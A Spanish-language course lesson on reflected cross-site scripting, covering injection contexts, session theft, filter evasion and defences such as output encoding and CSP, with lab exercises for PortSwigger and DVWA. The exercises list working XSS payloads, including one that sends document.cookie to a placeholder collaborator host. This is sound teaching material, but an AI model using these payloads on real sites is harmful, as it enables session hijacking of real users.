Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook (Stuttard & Pinto) ⏱️ Duración estimada: 110 min · Nivel: Intermedio
Comprender y explotar el XSS reflejado: cuando la aplicación devuelve input del usuario en la respuesta sin sanitizar, permitiendo ejecutar JavaScript en el navegador de la víctima. Es la puerta de entrada al mundo XSS y a los ataques del lado cliente.
⚠️ Ética: solo en labs propios (DVWA, Juice Shop, PortSwigger). Ejecutar XSS contra usuarios reales sin permiso es ilegal.
Al finalizar, el alumno podrá:
| # | Tema | Por qué importa |
|---|---|---|
| 1 | Qué es XSS y sus tipos | Base conceptual |
| 2 | Flujo del reflejado | Cómo llega al navegador víctima |
| 3 | Contextos de inyección | El payload depende del contexto |
| 4 | Escape de atributos y JS | Salir del contexto para inyectar |
| 5 | Impacto: robo de sesión | Traducir XSS a daño real |
| 6 | Filtros y su evasión | Realidad de las apps modernas |
| 7 | Defensa: output encoding, CSP | Cierre del fallo |
El Cross-Site Scripting es la inyección trasladada al navegador: en lugar de que datos del usuario se interpreten como SQL en la base de datos, se interpretan como JavaScript en el navegador de otra víctima. La causa raíz es idéntica —datos que cruzan la frontera y se convierten en código— pero el intérprete es el navegador y el impacto se sufre en el cliente: robo de sesión, acciones en nombre de la víctima, keylogging, redirecciones. Que OWASP lo clasifique dentro de A03 Injection (clase 087) no es casual: es la misma enfermedad en otro órgano.
Hay tres tipos según cómo llega el payload al navegador, y esta clase cubre el reflejado: el payload viaja en la petición (típicamente un parámetro de URL) y el servidor lo devuelve sin sanear en la respuesta inmediata. Como no se almacena, el atacante necesita que la víctima haga clic en un enlace preparado —de ahí que el reflejado se entregue por phishing—.
La destreza central del XSS es entender el contexto en el que la entrada se refleja, porque
determina qué payload funciona y cómo escapar. No es lo mismo que la entrada aparezca entre
etiquetas HTML (<div>AQUÍ</div>), dentro del valor de un atributo (<input value="AQUÍ">),
dentro de un bloque <script>, o en una URL. En el contexto HTML basta con inyectar
<script>...</script> o un <img src=x onerror=...>. En un atributo, primero hay que cerrar
las comillas del atributo ("><script>...) o abusar de un manejador de eventos. Dentro de
JavaScript, hay que cerrar la cadena y la sentencia (';alert(1)//). Leer el HTML de la
respuesta para ver dónde y cómo cae la entrada es el paso que separa probar payloads al azar
de inyectar con precisión.
El alert(1) es solo la prueba de concepto; el impacto de un XSS es que el atacante ejecuta
JavaScript con los privilegios de la víctima en ese sitio. El uso clásico es el robo de la
cookie de sesión (document.cookie enviado a un servidor del atacante), que le permite
suplantar a la víctima sin su contraseña —lo que conecta con la gestión de sesiones de la clase
102—. Pero puede hacer mucho más: realizar acciones en nombre de la víctima (cambiar su correo,
transferir dinero), inyectar un keylogger, robar tokens de un gestor de contraseñas, o pivotar
hacia la red interna. Por eso el XSS no es "un popup molesto": es control del cliente. Un matiz
defensivo importante que se adelanta: la cookie de sesión con el flag HttpOnly no es
accesible desde JavaScript, lo que mitiga el robo por document.cookie —pero no el resto de
acciones, así que no elimina el XSS—.
Muchas aplicaciones intentan defenderse filtrando palabras como <script>, y esa es una
carrera que el defensor pierde: hay infinitas formas de ejecutar JS sin la etiqueta script
—<img onerror>, <svg onload>, <body onload>, codificación de entidades HTML, mayúsculas
mezcladas, etc.—, y los payloads de evasión (como los del XSS cheat sheet de PortSwigger)
existen precisamente para saltar filtros. La lección es la misma que en toda la inyección: el
blocklist no funciona. La defensa correcta tiene dos pilares. El primero es el output
encoding (codificación de salida): antes de insertar un dato en la página, convertirlo según su
contexto —< en < para HTML, escape distinto para atributos y para JS—, de modo que el
navegador lo muestre como texto y nunca lo ejecute. El segundo es la Content Security Policy
(CSP): una cabecera que le dice al navegador de qué orígenes puede cargar y ejecutar scripts,
de forma que aunque una inyección se cuele, el script del atacante no se ejecute por no estar
permitido. Codificación de salida como defensa primaria y CSP como red de seguridad: esa es la
combinación que de verdad cierra el XSS.
| Término | Definición concisa |
|---|---|
| XSS | Inyección de JavaScript en el navegador de otra víctima |
| XSS reflejado | El payload viaja en la petición y se refleja en la respuesta |
| Payload | Script inyectado que ejecuta el navegador |
| Prueba de concepto | alert(1); demuestra la ejecución sin causar daño |
| Contexto de inyección | Dónde cae la entrada: HTML, atributo, script, URL |
| Escape de contexto | Cerrar comillas o etiquetas para salir del contexto |
| Manejador de eventos | onerror, onload; ejecuta JS sin la etiqueta script |
| Robo de sesión | Enviar document.cookie al atacante para suplantar |
| HttpOnly | Flag que oculta la cookie a JavaScript; mitiga el robo |
| Blocklist | Filtrar <script>; siempre evadible |
| Evasión de filtros | Payloads alternativos que saltan el filtro |
| Output encoding | Codificar el dato según contexto antes de insertarlo |
| CSP | Cabecera que restringe qué scripts puede ejecutar el navegador |
| A03 Injection | Categoría OWASP que engloba el XSS desde 2021 |
⚠️ Solo en labs propios.
<script>alert(document.domain)</script>.<script>, prueba manejadores de evento: <img src=x onerror=alert(1)>." onmouseover="alert(1).<script>, rompe la cadena: ';alert(1)//.<script>new Image().src='//tu-collab/?c='+document.cookie</script>.script (mayúsculas, anidado, eventos).Resuelve un lab de XSS reflejado de PortSwigger que requiera escapar de un contexto (atributo o script) y ejecutar alert(document.cookie).
Criterio de aceptación: el lab queda marcado como resuelto, y explicas el contexto de inyección, el payload y qué codificación de salida lo habría prevenido.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El payload aparece como texto | Está siendo codificado; busca otro contexto o sink |
<script> no ejecuta |
CSP o filtro; usa manejadores de evento |
| alert no salta pero el HTML cambia | Contexto de atributo; cierra la comilla primero |
| Funciona en Burp pero no en el navegador | El navegador codifica la URL; ajusta encoding |
| Cookie no se roba | HttpOnly activo; demuestra impacto de otra forma |
❓ ¿XSS reflejado necesita interacción de la víctima? Sí: la víctima debe abrir el enlace malicioso. Por eso suele combinarse con phishing.
❓ ¿La codificación de entrada o de salida? De salida, según el contexto donde se escribe. La codificación de entrada es útil pero insuficiente por sí sola.
❓ ¿CSP elimina el XSS? No lo elimina, lo mitiga: aunque el bug exista, una buena CSP puede impedir que el script se ejecute.
Clase 095 — Inyección de comandos del sistema operativo